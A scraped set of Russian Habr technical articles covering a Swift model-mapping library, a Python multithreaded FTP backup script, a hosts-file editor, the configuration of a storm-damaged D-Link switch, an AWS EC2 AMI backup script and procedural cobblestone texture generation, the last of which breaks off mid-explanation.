#### Этап 2. Даты, исследование
Следующая задача, которая требовала решения — форматтеры дат. Решений здесь может быть также несколько.
Использовать специальные методы модельного класса для форматирования полей. Я этот вариант использовал в Objective-C варианте этой же либы, и оно работало неплохо. Проблема лишь в разделении объявления поля и его параметров. Неудобно, постоянно забываешь, или забываешь поправить, если поменялось имя проперти. Плюс, есть ещё проблема со структурами
> Дело в том, что у структур есть автоматически создающийся инициализатор с именами всех полей. Это удобно, и, учитывая семантику этого типа, экономно. Если же мы хотим использовать какие-то методы объекта или класса, то необходимо использовать `self`, который требует инициализации перед вызовом. Следовательно, у структуры появляется необходимость в (пустом) умолчальном инициализаторе `init()`. Это лишний код, который потребуется писать в каждом модельном классе/в каждой структуре (сгенерить его нельзя, он должен быть именно в основном классе) и который также всегда будут забывать.
Использовать специальные классы, или туплы, в качестве типов пропертей модельного класса. То есть, не String, а MappedString. Это позволит их настраивать (прямо при создании), например, так: `var property:MappedDate = MappedDate(format:'dd-MM-yyyy')`, и можно будет пользоваться их методами для сериализации/парсинга значений. Можно вместо класса использовать туплы, это выглядит совершенно монструозно, но также работает. Минусов у этого решения много, главный — для доступа к пропертям будет нужно как-то изворачиваться (`object.property.value`, например). Ну и запись диковатая.
Использовать мапперы. Попробовав вышеперечисленные варианты, я пришёл именно к этому.
#### Этап 3. Кастомные мапперы
Маппером я называю класс, который знает, как определенный тип преобразуется из/в KTV. В него можно отправить KTV-value, чтобы он вернул настоящий тип (`String`, `NSDate`, ...), и можно наоборот, отдать тип, чтобы он вернул KTV-value (для сериализации).
Обычный маппер мы уже реализовали пару разделов назад, для строки. В принципе, можно этот код обернуть в класс, после чего выбирать классы в зависимости от типа проперти. В этом месте выясняется интересная особенность Swift.
Дело в том, что в конце-концов, нам нужна какая-то [фабрика](https://en.wikipedia.org/wiki/Factory_method_pattern), которая по типу (по строке или по классу) будет выдавать нужный объект. Хорошо бы, чтобы эта фабрика выдавала генерализованный объект. Тогда не будет никаких приведений, и логика вызова получится максимально простой, как-то так
```
let stringMapper:Mapper = mapper.getFor("String")
var value:String = stringMapper.valueFromKTV(ktvValue)
```
Проблема в том, как сделать этот метод `func getFor(className:String) -> Mapper`. Из-за особенностей дженериков в протоколах (точнее, их отсутствия, вместо них используются ассоциативные типы), например, нельзя сделать массив генерализованных объектов. То есть, так нельзя (не важно, указывать дженерик-тип или нет) `var mappers:\[Mapper] = \[]`. В массиве должны быть уже конкретные типы.
В результате пришлось немного схитрить. Массив мапперов внутри фабрики пришлось сделать каким-то общим негенерализованным протоколом-родителем всех мапперов. Можно было бы просто сделать массив `AnyObject`, но это как-то совсем нехорошо получается.
```
public protocol KTVModelAnyMapper {}
public class KTVModelMapper: KTVModelAnyMapper { ... }
public class KTVModelMapperFactory {
private var \_mappersByType = [String:KTVModelAnyMapper]()
public func mapper(type:String, propertyName:String)
throws -> KTVModelMapper {
if let mapper = \_mappersByType[propertyName] as? KTVModelMapper {
return mapper
} else {
throw KTVModelObjectParseableError.CantFindTypeMapper
}
}
}
```
Решения без приведения типов я не придумал. Может, кто-то из читателей подскажет?
В результате код парсера получился такой:
```
let mappers = KTVModelMapperFactory()
do {
_stringOrNil = try mappers
.mapper("String", propertyName:mappers.ktvNameFor("stringOrNil"))
.parseOptionalValue(ktv["stringOrNil"], defaultValue:_stringOrNil)
} catch {
errors["stringOrNil"] = error
}
```
Прелесть этого решения в том, что для каждого модельного класса можно подставить свою фабрику, и таким образом контролировать, как маппятся ktv-значения в объект.
Остаётся вопрос, каким образом задать эту кастомную фабрику для модельного объекта? Я придумал два варианта:
* Использовать кастомный же протокол. В имени протокола закодировать название кастомной фабрики, и в процессе создания расширения-парсера, вытаскивать SourceKit'ом это название, оттуда название фабрики, и подключать при парсинге. Решение рабочее, я проверил, но страшно кривое.
* Не менее кривое решение (хороших я вообще не знаю), но хотя бы красивое — использование комментариев.
#### Этап 4. Аннотации в комментариях
Дело в том, что SourceKit помимо информации о классах и структурах выдаёт ещё и привязанные к элементам комментарии. Те самые, из которых потом получается документация, начинающиеся с `///` или `/** */`. Таким образом, туда можно запихнуть что угодно, парсить это что угодно как угодно, и делать что хотим. Понятно, что никакой типизацией тут и не пахнет, написание — исключительно на совести разработчика, но, попробовав все вышеперечисленные методы (и ещё парочку совсем уж кошмарных), выходит, что это — самый адекватный.
Выглядит комментарий с кастомной фабрикой для модельного класса так:
```
/// @mapper = RootObjectMapperFactory
public struct RootObject: KTVModelObject { ... }
```
А так, например, можно проконтролировать наименование проперти в KTV:
```
/// @ktv = __date__
var date:NSDate
```
Впрочем, в этом месте возможности безграничны, так как мы уходим от Swift'а и начинаем просто парсить произвольный текст. Можно задавать форматы дат, можно — произвольный код, который потом впишется в парсер или сериализатор.
Результат, выводы
-----------------
Swift — пока плохой язык для «волшебных» библиотек. То есть таких, в которые что-то кладёшь простое, оно там варится и выдаётся другое простое и красивое. При этом со стороны разработчика «ничего делать не надо» (якобы). Этот тип библиотек всегда самый сложный, но именно он показывает мощность платформы. Это Hibernate, это Rails, это CoreData и так далее. На Swift'е такое писать сейчас — безумно тяжело и только SourceKit снижает сложность до приемлемой, не было бы его, пришлось бы парсить классы руками, что, мягко говоря, неблагодарное занятие.
Впрочем, как зарядка для ума, этот код оказался великолепен. Столько граблей в одном месте я не находил давненько. То, что получилось, можно потрогать вот тут: <https://github.com/bealex/KTV> Это очень живой, не-продакшн код, на котором я изучаю работу со Свифтом, поэтому, пожалуйста, относитесь к нему также.
Надеюсь, и вам будет интересно. Если вдруг остались вопросы — спрашивайте! | https://habr.com/ru/post/279109/ | null | ru | null |
# Многопоточное скачивание файлов с ftp python-скриптом
Зачем это нужно?
----------------
Однажды передо мной встала задача копирования большого количества файлов с ftp-сервера. Нужно было делать бэкап. Казалось бы, что может быть проще! Но увы, ничего готового работающего так же быстро для моих условий найти не удалось.
Ситуация
--------
Нужно было забирать периодически пару сотен файлов с ftp-сервера под Windows. Много мелочи и несколько очень крупных по размеру файлов. Суммарно примерно на 500 Гб. Сервер представляет собой vps, расположенный довольно далеко за рубежом. Днем машина высоко нагружена, рано ночью выполняются регламентные работы, итого на скачивание часов 5 максимум.
Ни одна из рассмотренных мной утилит не смогла справиться качественно и за отведенное время. Ну что ж, деваться некуда, нормальную систему резервного копирования ещё не купили, а значит ~~ноги в руки~~ вооружаемся редактором или IDE Python и вперёд! За приключениями!
Конфиг
------
Все параметры для скрипта вынесем в отдельный файл для удобства.
Шаблон конфига:
```
host = 'ip.ip.ip.ip'
user = 'ftpusername'
passwd = 'ftppassword'
basepath = '/path/to/backup/folder' # Папка, в которой будут созданы подпапки со скачанными файлами
max_threads = 20 # максимальное количество одновременных процессов загрузки
log_path = '\path\to\logfile'
statusfilepath = '\path\to\statusfile'
```
Конфиг сохраняем с расширением .py и импортируем в начале нашего скрипта. Импортировать можно непосредственно в пространство имён скрипта, но я сделал конструкцию слегка напоминающую костыль в основной части моего скрипта:
```
if __name__ == "__main__":
host = config.host
user = config.user
passwd = config.passwd
basepath = config.basepath # Папка, в которой будут созданы подпапки со скачанными файлами
max_threads = config.max_threads
log_path = config.log_path
statusfilepath = config.statusfilepath
main()
```
В начале был список
-------------------
Скачать файлы с ftp сама по себе задача не сложная, но путём недолгих экспериментов было выяснено, что скачивание файлов занимает время, а таймаут ftp-соединения приходит к нам гораздо быстрее. Следовательно, качать нужно каждый файл в новом соединении, иначе велик риск чего-то потом не досчитаться в скачанных файлах.
Для этого нам нужен список этих самых файлов. Ни о каком статичном списке файлов, конечно, речи не идет, значит нам его при каждом выполнении скрипта получать с сервера по-новой.
Удобства ради и чтобы не таскать параметры по всему коду - переопределим параметры стандартного класса ftp:
```
class MyFtp (ftplib.FTP):
"""Класс переопределяет стандартный, чтобы задать все параметры соединение в одном месте"""
def __init__(self):
self.host = host
self.user = user
self.passwd = passwd
self.timeout = 1800
super(MyFtp, self).__init__()
def connect(self):
super(MyFtp, self).connect(self.host, timeout=self.timeout)
def login(self):
super(MyFtp, self).login(user=self.user, passwd=self.passwd)
def quit(self):
super(MyFtp,self).quit()
```
Параметры берутся из конфига. Конечно же в нужно не забыть импортировать библиотеку *ftplib,* чтобы этот кусок заработал.
Список файлов с сервера мы получим с помощью следующего класса:
```
class FileList:
"""Класс для работы со списком загружаемых файлов"""
def __init__(self):
self.ftp = None
self.file_list = []
def connect_ftp(self):
import sys
self.ftp = MyFtp()
self.ftp.connect()
self.ftp.login()
self.ftp.__class__.encoding = sys.getfilesystemencoding()
def get_list(self, name):
"""Метод для получения списка всех файлов с ftp-сервера."""
import os
for dirname in self.ftp.mlsd(str(name), facts=["type"]):
if dirname[1]["type"] == "file":
entry_file_list = {}
entry_file_list['remote_path'] = name #путь до файла
entry_file_list['filename'] = dirname[0] #имя файла
self.file_list.append(entry_file_list)
else:
path = os.path.join(name, dirname[0])
self.get_list(path)
def get_next_file(self):
return self.file_list.pop()
def len(self):
return len(self.file_list)
```
Помимо методов соединения с сервером, получения списка файлов и определения его длины здесь имеет метод, который возвращает нам следующий файл для скачивания, из списка он при этом, конечно, удаляется.
Логирование
-----------
Для ведения логов скачивания будет использовать стандартную библиотеку logging. Создадим класс, который будет заниматься логированием.
```
class MyLogger:
"""Класс для логирования событий"""
def __init__(self):
self.logger = None
def start_file_logging(self, logger_name, log_path):
"""Обычное логирование в файл"""
import logging
self.logger = logging.getLogger(logger_name)
self.logger.setLevel(logging.INFO)
try:
fh = logging.FileHandler(log_path)
except FileNotFoundError:
log_path = "downloader.log"
fh = logging.FileHandler(log_path)
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
fh.setFormatter(formatter)
self.logger.addHandler(fh)
def start_rotate_logging(self, logger_name, log_path, max_bytes=104857600, story_backup=5):
"""Логирование в файл с ротацией логов"""
import logging
from logging.handlers import RotatingFileHandler
self.logger = logging.getLogger(logger_name)
self.logger.setLevel(logging.INFO)
try:
fh = RotatingFileHandler(log_path, maxBytes=max_bytes, backupCount=story_backup)
except FileNotFoundError:
log_path = "downloader.log"
fh = RotatingFileHandler(log_path, maxBytes=max_bytes, backupCount=story_backup)
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
fh.setFormatter(formatter)
self.logger.addHandler(fh)
def add(self, msg):
self.logger.info(str(msg))
def add_error(self, msg):
self.logger.error(str(msg))
```
Скрипт будет поддерживать просто логирование в файл и ротацию файловых логов, ибо логи имеют свойство расти непомерно и это надо бы держать под контролем.
Скачивание файла
----------------
Каждый файл будет скачиваться в отдельном потоке. Класс, скачивающий один конкретный файл с сервера выглядит следующим образом:
```
class BaseFileDownload(threading.Thread):
""" Объект для копируемого файла """
count = 0
def __init__(self, rpath, filename, log):
threading.Thread.__init__(self)
self.remote_path = rpath
self.filename = filename
self.ftp = None
self.command = None
self.currentpath = None
self.log = log
self.__class__.count += 1 # для подсчета одновременно запущенных закачек
def __del__(self):
self.__class__.count -= 1
def connect(self):
"""Метод для соединения с ftp"""
import sys
self.ftp = MyFtp()
self.ftp.connect()
self.ftp.login()
self.ftp.__class__.encoding = sys.getfilesystemencoding()
def run(self):
"""Запуск потока скачивания"""
import os
self.connect()
self.command = str(bytes('RETR ', encoding='latin-1'), encoding='utf-8')
self.currentpath = os.path.join(basepath, self.remote_path[3:])
self.ftp.cwd(self.remote_path)
if not os.path.exists(self.currentpath):
os.makedirs(self.currentpath, exist_ok=True)
self.host_file = os.path.join(self.currentpath, self.filename)
try:
with open(self.host_file, 'wb') as local_file:
self.log.add("Start downloading " + self.filename)
self.ftp.retrbinary(self.command + self.filename, local_file.write)
self.log.add("Downloading " + self.filename + " complete")
except ftplib.error_perm:
self.log.add_error('Perm error')
self.ftp.quit()
```
Для подсчета количества одновременно скачиваемых файлов мы будет использовать свойство класса count. В нём у нас будет количество существующих экземпляров класса: в конструкторе счетчик наращивается, в деструкторе, соответственно, уменьшается.
Метод для запуска скачивания должен обязательно называться run - это требование библиотеки threading (не забываем её импортировать!), которую мы будем использовать для параллельного запуска нескольких процессов скачивания.
При сохранении списка файлов скрипт сохраняет также путь до этого файла, этот путь мы воссоздаем при скачивании с помощью os.makedirs.
Статус-файл
-----------
По завершению скачивания скрипт будет записывать в файл уведомление об этом. Это уведомление можно мониторить zabbix, чтобы понимать когда бэкап не отработал или, как сделал я - написать простого бота, чтобы периодически проверять статус.
Класс для работы с этим файлов выглядит так:
```
class StatusFile:
"""По окончанию задачи скрипт пишет в файл уведомление о корректном выполнении."""
def __init__(self):
self.msg = ''
def setstatus(self, msg):
global statusfilepath
with open(statusfilepath, 'w') as status_file:
status_file.write(msg)
```
Многопоточность
---------------
Ну и, наконец, сама основная функция скрипта, которая осуществляет работу с потоками скачивания:
```
def main():
import os
import datetime
import time
log = MyLogger()
log.start_rotate_logging("DownloaderLog", os.path.join(log_path, "download_backup.log")) # запускаем логирование
now = datetime.datetime.today().strftime("%Y%m%d")
global basepath
basepath = os.path.join(basepath, now) # модифицируем путь, добавляя текущую дату
list_file = FileList()
list_file.connect_ftp()
list_file.get_list("..")
for i in range(list_file.len()):
flag = True
while flag: # цикл внутри которого поддерживается нужное количество одновременно запущенных загрузок
if BaseFileDownload.count < max_threads:
curfile = list_file.get_next_file()
threadid = BaseFileDownload(curfile["remote_path"], curfile["filename"], log)
threadid.start()
flag = False
else:
time.sleep(20)
log.add("Downloading files complete")
statusfile = StatusFile()
statusfile.setstatus("Downloading at " + str(datetime.datetime.now()) + " finishing successful")
```
Здесь мы запускаем логирование, получаем список файлов ( он хранится в памяти).
В вечном цикле while мы проверяем количество одновременно запущенных скачиваний и, при необходимости, запускаем дополнительные потоки.
[Исходный код целиком можно найти здесь](https://github.com/kit567/ftpmultithreaddownloader.git). | https://habr.com/ru/post/537774/ | null | ru | null |
# Hosts Commander — консольный редактор hosts для Windows и Linux
Hosts Commander призван максимально облегчить работу с файлом hosts из консоли. Если вам время от времени приходится забираться в этот файл (что характерно для веб-разработчика), и вы любите консоль — [Hosts Commander](http://veg.by/ru/projects/hostscmd/) может прийтись вам по душе.
Год назад на Хабрахабре была анонсирована первая версия программы, которая работала только под Windows. Но с тех пор многое изменилось и стало лучше. Это отличный пример, как из простой идеи может вырасти нечто большее.
### С чего всё начиналось?
* Операции добавления, удаления, отключения и скрытия хостов
* Отображение хостов из hosts по маске
* Операции над хостами по маске
* Сохранение исходного оформления и кодировки файла hosts
* Создание резервной копии hosts и восстановление
* Поддержка Windows XP/Vista/7 (.NET 3.5)
### Что появилось нового?
#### Поддержка Linux
С самого начала казалось, что консоль Linux и без этого имеет очень богатые возможности, поэтому появление подобной программы не будет оценено сообществом. Однако, я получил несколько писем с просьбой реализовать возможность работы под Linux.
В последней версии Hosts Commander появилась поддержка Linux и других Unix-подобных операционных систем. Запуск с правами суперпользователя требуют только команды, изменяющие содержимое hosts.
Для запуска необходимо установить [Mono 2.8+](http://www.go-mono.com/mono-downloads/download.html), который в некоторых дистрибутивах (например, Ubuntu) есть по умолчанию.
Запуск выполняется командой вида `mono hosts.exe param1 param2 param3`, что не совсем удобно. Но вы легко можете создать `alias hosts="mono hosts.exe"` для работы с hosts так же, как и под Windows.
#### Поддержка алиасов и умная команда add
Иногда удобно в одной записи хранить сразу несколько доменов (например, версию с www и без) и оперировать ими вместе. Hosts Commander теперь позволяет это делать. Более того, при добавлении новой записи команда add сама догадывается, где IP адрес, а где домен и его алиасы, поэтому нет необходимости помнить, в каком порядке необходимо указывать параметры. Всё что после знака # считается комментарием, поэтому нет необходимости писать его в кавычках.
Примеры:
`hosts add mydomain.ru www.mydomain.ru 192.168.0.1 # my comments`
`hosts add 192.168.0.1 mydomain.ru www.mydomain.ru`
#### Поддержка IDN (русскоязычные домены)
Русскоязычные домены должны храниться в hosts закодированными в Punycode (xn--). Вручную сгенерировать xn--d1abbgf6aiiy.xn--p1ai из президент.рф не так просто, да и при беглом просмотре hosts без комментариев не ясно, где какой русскоязычный домен.
Hosts Commander решает эту проблему. Все русскоязычные домены хранятся в Punycode, но программа работает с декодированными версиями.
Примеры:
`hosts add мойдомен.рф mydomain.ru www.mydomain.ru # локальный домен` — добавление хоста с алиасами, по умолчанию IP 127.0.0.1.
`hosts view *.рф` — отображение доменов в зоне.рф
#### Поддержка IPv6 адресов
IPv6, к сожалению, сегодня используется недостаточно активно. Однако, современные ОС поддерживают его в полной мере. Hosts Commander может похвастаться тем же:
`hosts add ipv6demo.local ::1`
В связи с тем, что в одном файле hosts может быть объявлено две записи с одним и тем же доменом, но с IPv4 и IPv6 адресами, команда add теперь всегда добавляет новый хост в конец файла, а для обновления существующих записей используется команда set. Это достаточно спорный момент. Если у вас есть идея, как сделать команды add и set более удобными и прозрачными — просьба поделиться в комментариях или на email.
#### Откат последней операции
Некоторые команды могут приводить к серьёзным последствиям. Например, случайно выполненный `hosts rem *` удалит все записи в файле hosts, а вы просто хотели набрать `hosts rem *.рф`, но нажали ввод раньше времени.
Сейчас простая команда `hosts rollback` позволяет откатить последнюю операцию над hosts.
#### Встроенный командный интерпретатор
Теперь при запуске hosts без параметров запускается встроенный командный интерпретатор. Он поддерживает все команды, доступные для прямого вызова. Главное отличие — не нужно перед каждой командой писать `hosts`. Удобно, если вам необходимо выполнить множество операций с файлом hosts. Ещё одно преимущество при запуске из консоли с ограниченными правами под Windows Vista/7: после согласия на предоставление Hosts Commander доступа к системе откроется новое окно, которое не будет тут же закрыто.
Выход из командного интерпретатора осуществляется командами `exit` или `quit`.
### Итого
Проект вместе с исходниками и более подробной документацией доступен на [его страничке](http://veg.by/ru/projects/hostscmd/).
Топик открыт для отзывов и предложений. Если вы столкнулись с какими-то проблемами в работе программы, просьба сообщить об этом, и я постараюсь решить их.
Спасибо за внимание. | https://habr.com/ru/post/132963/ | null | ru | null |
# Скрипт для резервного копирования EC2-instance в AMI
Всем привет.
Хочу поделиться скриптом для $subj. Возможно, кому-то он окажется полезен.
Постановка задачи: есть некоторое количество EC2-серверов в AWS, разбросанных по разным регионам. Требуется автоматизировать их резервное копирование так, чтобы восстановление было легким и быстрым.
Собственно, сам скрипт: [ec2-automate-backup2ami.sh](https://github.com/jazzl0ver/aws-missing-tools/blob/master/ec2-automate-backup2ami/ec2-automate-backup2ami.sh)
Описание: [README.md](https://github.com/jazzl0ver/aws-missing-tools/blob/master/ec2-automate-backup2ami/README.md)
Скрипт-обертка для запуска по крону: [ec2-backup-wrapper.sh](https://github.com/jazzl0ver/aws-missing-tools/blob/master/ec2-automate-backup2ami/ec2-backup-wrapper.sh)
Для работы скрипта предварительно необходимо:
* Установить пакет [ec2-api-tools](http://aws.amazon.com/developertools/351) (у меня он версии 1.6.7.3)
* Подредактировать скрипт-обертку, указав путь к ec2-automate-backup2ami.sh и к лог-файлу
* Создать в AWS IAM отдельного пользователя для бэкапов и назначить ему похожую политику:
```
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1389911824000",
"Effect": "Allow",
"Action": [
"ec2:CreateImage",
"ec2:CreateSnapshot",
"ec2:CreateTags",
"ec2:DeleteSnapshot",
"ec2:DeregisterImage",
"ec2:DescribeRegions",
"ec2:DescribeSnapshotAttribute",
"ec2:ModifySnapshotAttribute",
"ec2:DescribeImages",
"ec2:DescribeInstances",
"ec2:DescribeSnapshots",
"ec2:DescribeTags",
"ec2:DescribeVolumeAttribute",
"ec2:DescribeVolumeStatus",
"ec2:DescribeVolumes"
],
"Resource": [
"*"
]
}
]
}
```
* Создать файл с параметрами доступа для созданного пользователя:
```
[ec2-user@zenoss ~]$ cat .stage
export AWS_ACCESS_KEY=access_key
export AWS_SECRET_KEY=secret_key
export AWS_ACCESS_KEY_ID=access_key
export AWS_SECRET_ACCESS_KEY=secret_key
```
* Указать EC2\_HOME
* Пометить каждый инстанс, требующий бэкапа, тэгом **Backup** со значением **true**
Кронтаб выглядит примерно так:
```
[ec2-user@backup ~]$ crontab -l
PATH=$PATH:/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin
EC2_HOME=/usr/local
SHELL=/bin/bash
00 2 * * * ./ec2-backup-wrapper.sh stage "alerts1@mydomain.cc alerts2@mydomain.cc"
```
Результат работы скрипта записывается в лог-файл вида ec2-automate-backup2ami.stage.log. В случае ошибки выполнения он будет отправлен на указанные почтовые адреса.
Стоит обратить внимание, что файл с параметрами называется **.**stage, а скрипт вызывается с названием без точки.
После успешного выполнения, в AWS AMI появится образ с именем ec2ab\_server.domain.cc\_YYYY-MM-DD и со следующими тэгами:
* **Name** — название инстанса EC2
* **InitiatingHost** — FQDN бэкап-сервера
* **PurgeAfterFE** — дата удаления образа в формате unix time
* **PurgeAfter** — дата удаления образа в формате YYYY-MM-DD (исключительно для удобства админа, скрипт использует PurgeAfterFE)
* **PurgeAllow** — разрешает автоматическое удаление образа (по умолчанию — true)
* **Instance** — ID инстанса EC2
* **Created** — дата создания образа в формате YYYY-MM-DD
PS Скрипт создан на основе [ec2-automate-backup](https://github.com/colinbjohnson/aws-missing-tools/tree/master/ec2-automate-backup) (бэкап EBS-дисков, без итерации по регионам) от [colinbjohnson](https://github.com/colinbjohnson), за что ему большое спасибо!
PPS Возможно, под Mac OS/X скрипт будет работать неправильно (см. четвертую строчку в функции get\_purge\_after\_date()), но у меня возможности проверить нет.
PPPS Перед созданием снэпшотов скрипт не сбрасывает буферы файловых систем, поэтому бэкап может оказаться неконсистентным. Для создания консистентных снэпшотов лучше использовать [ec2-consistent-snapshot](https://github.com/alestic/ec2-consistent-snapshot)
UPD Добавлена возможность автоматического копирования созданных в процессе бэкапа образов AMI в другие регионы. Для включения этой опции в командной строке запуска скрипта необходимо указать ключ **-y**, а в настройки инстанса добавить соответствующий тэг. Регион выбирается перед созданием бэкапов случайным образом из всех возможных или из списка, заданного в командной строке ключом **-o** (разделитель — пробел). Иными словами, все копии попадут в один регион в рамках одного запуска скрипта.
Например:
```
/usr/local/bin/ec2-automate-backup2ami.sh -s tag -t "Backup=true" -k 14d -p -h -u -n -y "CopyRegion=true" -o "us-west-1 eu-west-1"
```
В приведенном примере скрипт:
* забэкапит все инстансы, у которых присутствует тэг Backup со значением true (-s, -t)
* удалит бэкапы, созданные более 13 дней назад (-k, -p)
* добавит к бэкапу разные информационные тэги (-h, -u, -n)
* скопирует все бэкапы в один случайно выбранный при старте скрипта регион из двух перечисленных (-y, -o)
Список названий регионов можно получить с помощью команды **ec2-describe-regions**.
После копирования к исходному AMI будет добавлен тэг **CopyRegion** со значением, соответствующем региону, куда он был скопирован. А к скопированному AMI — тэг **SourceRegion**, определяющий регион-источник. | https://habr.com/ru/post/256515/ | null | ru | null |
# Исследование коммутатора Dlink после грозы
Статья, которую вы сейчас читаете, является расширением статьи "[Настройка свитчей уровня доступа в сети провайдера](https://habrahabr.ru/post/123038/)". Я обосную правильность подхода автора скринами и своими наблюдениями. Итак, фото испытуемого.
Все как в фильме ДМБ, сюжет про суслика: я тоже не вижу кабелей, а линки есть. Настройки у коммутатора сброшены к заводским командой **#reset system**.
Для наглядности еще несколько скриншотов:
Линки поднялись, коммутатор работает, но чем он занят нам подскажет wireshark и видим удивительную картину:
Представленный скриншот показывает большое количество ARP пакетов, которые генерирует сам коммутатор, предположительно в результате активности вышедших из строя портов. На основании этого включаем функцию Loop Detection, функция предназначается для формирования дерева коммутаторов, используя протокол STP, но работает и при выключенном STP:
`enable loopdetect
config loopdetect mode vlan-based
config loopdetect recover_timer 1800
config loopdetect interval 10
config loopdetect ports 1-9 state enable`
Вот как изменилась ситуация:
После применения настройки Loop Detection в логи коммутатора вносится запись об обнаруженном кольце на неисправном порту, сам порт переходит в режим err-disabled, что видно на приложенных выше скриншотах (**mode vlan-based** позволяет настраивать обнаружение кольца на транковых портах, в результате чего будет блокироваться только трафик из того vlan, в котором обнаружено кольцо, при этом остальные vlan будут работать в штатном режиме).
Изменился также тип трафика, пойманый wereshark. Теперь мы наблюдаем большое количество запросов dhcp (на подключенном компьютере настройка автоматического получения IP адреса).
Из этого следует, что ситуация с broadcast трафиком не изменилась. Это пагубно влияет на функционирование сети, так Broadcast пакеты клонируются коммутаторами, и это приводит к такому явлению как броадкаст-шторм. На основании этого принято решение ограничить количество broadcast тарфика посредством команды (если количество пакетов превысило уровень, то пакеты отбрасываются):
`config traffic control 1-9 broadcast enable action drop threshold 64 countdown 5 time_interval 30`
Кроме того запретим коммутатору пропускать ответы на DHCP запрос со всех портов кроме Uplink. Помимо ограничения трафика мы получаем возможность блокировать абонентские dhcp-server Пример конфигурации через CLI — настройка ACL, который разрешает передавать ответы DHCP с порта 10 и запрещает со всех остальных портов:
`create access_profile ip udp src_port_mask 0xFFFF profile_id 1
config access_profile profile_id 1 add access_id 1 ip udp src_port 67 port 10 permit
config access_profile profile_id 1 add access_id 2 ip udp src_port 67 port 1-9 deny`
##### Для чего это всё затевалось, и что получили в результате
Итак, после конфигурации мы имеем нормальный трафик на рабочем порту, малые всплески broadcast-трафика, так как вышедшие из строя порты периодически включаются по таймауту. Кроме того, в логах получаем строку вида «Port 1 VID 156 LBD recovered. Loop detection restarted», а при необходимости **trap** на сервер мониторинга.
Все усилия позволят методично работать над ликвидацией последствий грозы в условиях сети города (замены коммутаторов). Как показала практика (больше 5 лет в операторе связи на должности администратора сети) Dlink DES3200-series очень любит грозы.
Спасибо за потраченное время на прочтение. Отдельное спасибо коллегам за Ваши комментарии и рекомендации, а так же интерес к данному исследованию.
P.S.
Цикл статей [Конструктивная админская лень или как я конфиг автоматизировал](https://habrahabr.ru/post/303128/) целью которого является снижение нагрузки на всеми любимых компьютерщиков на должности администратор сети. | https://habr.com/ru/post/303062/ | null | ru | null |
# Процедурное текстурирование: генерация текстуры булыжника
 
Пишем генератор, который принимает с десяток входных параметров и выдает текстуру булыжника.
#### Введение
Мое хобби — компьютерная графика и изобретение велосипедов. Поиграв в [.kkrieger](http://ru.wikipedia.org/wiki/.kkrieger) и прочтя [этот](http://habrahabr.ru/company/unigine/blog/167075/) и [этот](http://habrahabr.ru/post/171805/) посты я загорелся желанием написать свой генератор текстур. Выбрав в качестве темы текстуры — булыжник, начал гуглить. Честно скажу, гуглить генератор текстуры булыжника было сложно, даже с опцией -minecraft. Плюнув на это дело начал думать сам.
#### С чего начать
Ход моих мыслей был примерно следующим:
— мне нужны камни
— нужно больше камней! Для большой текстуры. А чем больше текстура, тем больше время генерации. Это плохо.
— камни бывают разными (по размеру и цвету)
— камни выпуклые (рельефные)
— текстура камней шершавая
— у разного вида камней разные виды шероховатости
— раз у текстуры есть цвет и рельеф, не плохо бы разделить эти компоненты. Пусть будет чистая цветная текстура и карта нормалей.
В нашем генераторе текстура будет строится поэтапно: сначала создаем одну текстуру, накладываем на нее фильтры, смешиваем с другой текстурой и т. д. Теперь нужно вспомнить или найти известные алгоритмы, которые нам могут помочь. Я просто перечислю и кратко опишу все методы, которые я использовал в своем генераторе, попутно рассказывая об оптимизациях.
Генератор я решил писать на C++ с использованием библиотеки Qt 4.X.Y в QtCreator. Однако сам класс генератора я старался писать без Qt.
##### Ячеистая текстура
Это основа алгоритма. Именно она создает каркас для камней. Вот [здесь](http://www.blackpawn.com/texts/cellular/) подробно описано что из себя представляет ячеистая текстура и как ее создавать.
В моем коде за это отвечает функция generateCelluarTexture:
**Спойлер**
```
unsigned char *ProceduralTexture::generateCelluarTexture(int size){
if (size<2)
size = 2;
int cellX = w/size+2;
int cellY = h/size+2;
int pointsX[cellX][cellY];
int pointsY[cellX][cellY];
srand(seed);
for (int i=0; i=cellX || startY<0 || startY>=cellY)
continue;
int d = distance(x, y, pointsX[startX][startY], pointsY[startX][startY]);
if (d
```
Функция принимает размер ячейки, возвращает черно-белое изображение текстуры. Теперь не много об оптимизации.
Во-первых что бы не перебирать все точки, я поделил изображение на прямоугольные области заданного размера (size). Таким образом что бы найти ближайшую точку к текущему пикселю необходимо просмотреть 9 точек из текущей и соседних ячеек. Об этом написано в преведенной выше ссылке.
Во-вторых нам не обязательно искать «честное» расстояние. Я говорю о расстоянии между двумя точками. Вполне сойдет квадрат расстояния (избавляемся от извлечения корня) — картинка в итоге получается более контрастной, но на итоговую текстуру отрицательного эффекта не оказывает.
##### Яркость и контрастность
Думаю многие применяли этот фильтр в фотошопе или других графических редакторах. Теперь напишем его реализацию сами.
**Код**
```
void ProceduralTexture::brightnessContrast(unsigned char *img, float brightness, float contrast, bool onePass){ //параметр onePass - эксперементальная оптимизация
if (brightness!=0){
if (brightness>0){
if (brightness>1)
brightness = 1;
brightness = 1.0f-brightness;
for (int i=0; i255)
res = 255;
img[i] = res;
}
}
}
```
Функция принимает на вход указатель на изображение и коэффициенты яркости и контрастности. Формулы для вычисления описаны [тут](http://algolist.manual.ru/graphics/filter/brightness.php).
##### Шум перлина
О шуме перлина написано достаточно много статей (в том числе и на хабре), описывать алгоритм я не буду, расскажу лишь об оптимизациях и приведу пример кода.
**Код**
```
//в конструкторе:
interpolateTable = NULL;
powTable = new float[maxOctaves];
for (int i=0; imaxOctaves)
octaves = maxOctaves;
for (int i=0; i
```
Первая оптимизация: избавляемся от вычисления коэффициента интерполяции (1.0f-cosf(a))\*0.5f) — для этого мы просто просчитываем заранее все варианты. А вариантов у нас не так уж и много — максимальное количество окатав. Поэтому перед вычислением каждой октавы просчитываем все коэффициенты и заносим в массив interpolateTable.
Вторая оптимизация похожа на первую — все места где вычисляются квадраты мы заменяем на заранее вычисленные значения (powTable).
Так же я постарался как можно сильнее упростить ГСЧ и максимально избавиться от чисел с плавающей точкой.
##### Эффект мягкой ступенчатости
Этот эффект я придумал сам (а быть может изобрел велосипед — не знаю). А вот название ему лучше придумать не получилось — извините. Чем то похож на эффект постеризации в фотошопе, только он не просто обрезает палитру, но и сглаживает переходы. Постараюсь изобразить его суть в виде графика:
